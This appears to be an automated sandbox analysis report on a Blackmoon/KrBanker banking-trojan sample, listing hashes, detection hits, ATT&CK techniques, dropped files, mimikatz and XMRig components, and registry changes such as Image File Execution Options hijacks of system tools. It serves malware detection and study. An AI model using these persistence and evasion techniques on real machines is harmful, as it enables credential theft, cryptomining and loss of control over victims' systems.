blackmoon | 4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
15-10-2024 21:36

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General

Target

4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exe
Size

6.3MB
MD5

da1c1e77aaa6c692b84704041db369b1
SHA1

44b4ddb7eda059689b50bc0c153d50738613359d
SHA256

4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034
SHA512

36e404ab94165a3fdcad3a336fb9c1db4b3edfc3dcf7ab6b9889ce930806878ffedb23f7608e16156f9b4593f94b2976a746f689f4bde45f3f961e9a5d43d866
SSDEEP

98304:IaAXTBJYaEmknGzZr+HaOKSVPFtmOZ9G1j5v/nZVnivsAl0oroSCa:IpXTYFmknGzwHaOtVPHd90X/nivPlS

Score

10^/10

blackmoon mimikatz xmrig banker credential_access defense_evasion discovery evasion execution miner persistence privilege_escalation trojan upx

Malware Config

Signatures

Blackmoon, KrBanker
Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.
trojan banker blackmoon

Detect Blackmoon payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3316-0-0x0000000000400000-0x0000000000A0A000-memory.dmp	family_blackmoon
behavioral2/memory/3316-4-0x0000000000400000-0x0000000000A0A000-memory.dmp	family_blackmoon
behavioral2/files/0x0008000000023cc2-6.dat	family_blackmoon
behavioral2/memory/3356-8-0x0000000000400000-0x0000000000A0A000-memory.dmp	family_blackmoon

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

zvueslg.exe

description	pid	Process	procid_target
PID 112 created 1620	112	zvueslg.exe	37

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (52053) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2072-145-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	xmrig
behavioral2/memory/2072-146-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	xmrig
behavioral2/memory/2072-162-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	xmrig
behavioral2/memory/2072-174-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	xmrig
behavioral2/memory/2072-187-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	xmrig
behavioral2/memory/2072-195-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	xmrig
behavioral2/memory/2072-197-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	xmrig
behavioral2/memory/2072-198-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	xmrig
behavioral2/memory/2072-201-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	xmrig
behavioral2/memory/2072-204-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	xmrig
behavioral2/memory/2072-206-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	xmrig
behavioral2/memory/2072-207-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3316-0-0x0000000000400000-0x0000000000A0A000-memory.dmp	mimikatz
behavioral2/memory/3316-4-0x0000000000400000-0x0000000000A0A000-memory.dmp	mimikatz
behavioral2/files/0x0008000000023cc2-6.dat	mimikatz
behavioral2/memory/3356-8-0x0000000000400000-0x0000000000A0A000-memory.dmp	mimikatz
behavioral2/memory/4480-122-0x00007FF632E80000-0x00007FF632F6E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

Processes:

zvueslg.exewpcap.exe

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	zvueslg.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	zvueslg.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 44 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

zvueslg.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\schtasks.exe	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\schtasks.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cacls.exe	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	zvueslg.exe

Executes dropped EXE 11 IoCs

Processes:

zvueslg.exezvueslg.exewpcap.exeiqptattte.exevfshost.exerxtrust.exevarpws.exeeilqub.execqcdrztla.exezvueslg.exezvueslg.exe

pid	Process
3356	zvueslg.exe
112	zvueslg.exe
4696	wpcap.exe
4360	iqptattte.exe
4480	vfshost.exe
3316	rxtrust.exe
4268	varpws.exe
2072	eilqub.exe
4440	cqcdrztla.exe
1204	zvueslg.exe
5664	zvueslg.exe

Loads dropped DLL 12 IoCs

Processes:

wpcap.exeiqptattte.exe

pid	Process
4696	wpcap.exe
4696	wpcap.exe
4696	wpcap.exe
4696	wpcap.exe
4696	wpcap.exe
4696	wpcap.exe
4696	wpcap.exe
4696	wpcap.exe
4696	wpcap.exe
4360	iqptattte.exe
4360	iqptattte.exe
4360	iqptattte.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

remove IFEO.

defense_evasion

Clear Persistence

T1070.009

Processes:

zvueslg.exe

description	ioc	Process
Delete value	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cacls.exe\Debugger	zvueslg.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
59	ifconfig.me
58	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 19 IoCs

Processes:

zvueslg.exewpcap.exerxtrust.exe

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	zvueslg.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	zvueslg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BB4F4B8E2B2CFC476849B6B724C153FF	zvueslg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	zvueslg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	zvueslg.exe
File opened for modification	C:\Windows\SysWOW64\varpws.exe	rxtrust.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	zvueslg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	zvueslg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	zvueslg.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	zvueslg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BB4F4B8E2B2CFC476849B6B724C153FF	zvueslg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	zvueslg.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\varpws.exe	rxtrust.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	zvueslg.exe

UPX packed file 17 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/files/0x0007000000023d18-118.dat	upx
behavioral2/memory/4480-119-0x00007FF632E80000-0x00007FF632F6E000-memory.dmp	upx
behavioral2/memory/4480-122-0x00007FF632E80000-0x00007FF632F6E000-memory.dmp	upx
behavioral2/files/0x0007000000023d1c-140.dat	upx
behavioral2/memory/2072-141-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx
behavioral2/memory/2072-145-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx
behavioral2/memory/2072-146-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx
behavioral2/memory/2072-162-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx
behavioral2/memory/2072-174-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx
behavioral2/memory/2072-187-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx
behavioral2/memory/2072-195-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx
behavioral2/memory/2072-197-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx
behavioral2/memory/2072-198-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx
behavioral2/memory/2072-201-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx
behavioral2/memory/2072-204-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx
behavioral2/memory/2072-206-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx
behavioral2/memory/2072-207-0x00007FF75D140000-0x00007FF75D260000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	Process
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe

Drops file in Windows directory 44 IoCs

Processes:

4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exezvueslg.execqcdrztla.execmd.exe

description	ioc	Process
File opened for modification	C:\Windows\qbpudlti\zvueslg.exe	4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\coli-0.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\spoolsrv.exe	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\vimpcsvc.exe	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\docmicfg.xml	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\AppCapture32.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\liufublgq\iqptattte.exe	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\ucl.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\zlib1.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\vimpcsvc.xml	zvueslg.exe
File opened for modification	C:\Windows\ellgzquyp\liufublgq\Result.txt	cqcdrztla.exe
File created	C:\Windows\qbpudlti\zvueslg.exe	4f8ad08ebce9783e772d3456f6f5a9066f2b11d2de977184e9e5c8dbe5832034.exe
File created	C:\Windows\ellgzquyp\liufublgq\cqcdrztla.exe	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\exma-1.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\tibe-2.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\AppCapture64.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\Corporate\mimidrv.sys	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\crli-0.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\xdvl-0.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\docmicfg.exe	zvueslg.exe
File created	C:\Windows\ellgzquyp\Corporate\vfshost.exe	zvueslg.exe
File opened for modification	C:\Windows\ellgzquyp\Corporate\log.txt	cmd.exe
File created	C:\Windows\ellgzquyp\UnattendGC\Shellcode.ini	zvueslg.exe
File created	C:\Windows\ellgzquyp\liufublgq\Packet.dll	zvueslg.exe
File opened for modification	C:\Windows\ellgzquyp\liufublgq\Packet.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\libeay32.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\tucl-1.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\svschost.xml	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\schoedcl.xml	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\posh-0.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\ssleay32.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\trch-1.dll	zvueslg.exe
File created	C:\Windows\ime\zvueslg.exe	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\trfo-2.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\schoedcl.exe	zvueslg.exe
File created	C:\Windows\ellgzquyp\liufublgq\scan.bat	zvueslg.exe
File created	C:\Windows\ellgzquyp\Corporate\mimilib.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\liufublgq\ip.txt	zvueslg.exe
File created	C:\Windows\ellgzquyp\liufublgq\wpcap.exe	zvueslg.exe
File created	C:\Windows\ellgzquyp\liufublgq\wpcap.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\cnli-1.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\libxml2.dll	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\svschost.exe	zvueslg.exe
File created	C:\Windows\ellgzquyp\UnattendGC\specials\spoolsrv.xml	zvueslg.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid	Process
2220	sc.exe
4968	sc.exe
848	sc.exe
3696	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 42 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.execmd.exenetsh.execmd.exenetsh.execmd.exesc.execacls.exenetsh.execmd.execmd.exesc.exenet.exesc.execacls.exenet.exenet.execmd.exenetsh.execmd.execmd.execmd.exeiqptattte.exenet1.execmd.execmd.exenet1.execacls.execmd.exenet1.exenetsh.execacls.execacls.execacls.exenet1.execmd.exenetsh.exesc.exevarpws.execmd.execacls.execmd.exezvueslg.exenetsh.execacls.execmd.exenet.exenetsh.exenetsh.execmd.execmd.execmd.exenet.execacls.execmd.exenet1.exenet1.exenet1.execmd.exerxtrust.execmd.execmd.exenetsh.exenet.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
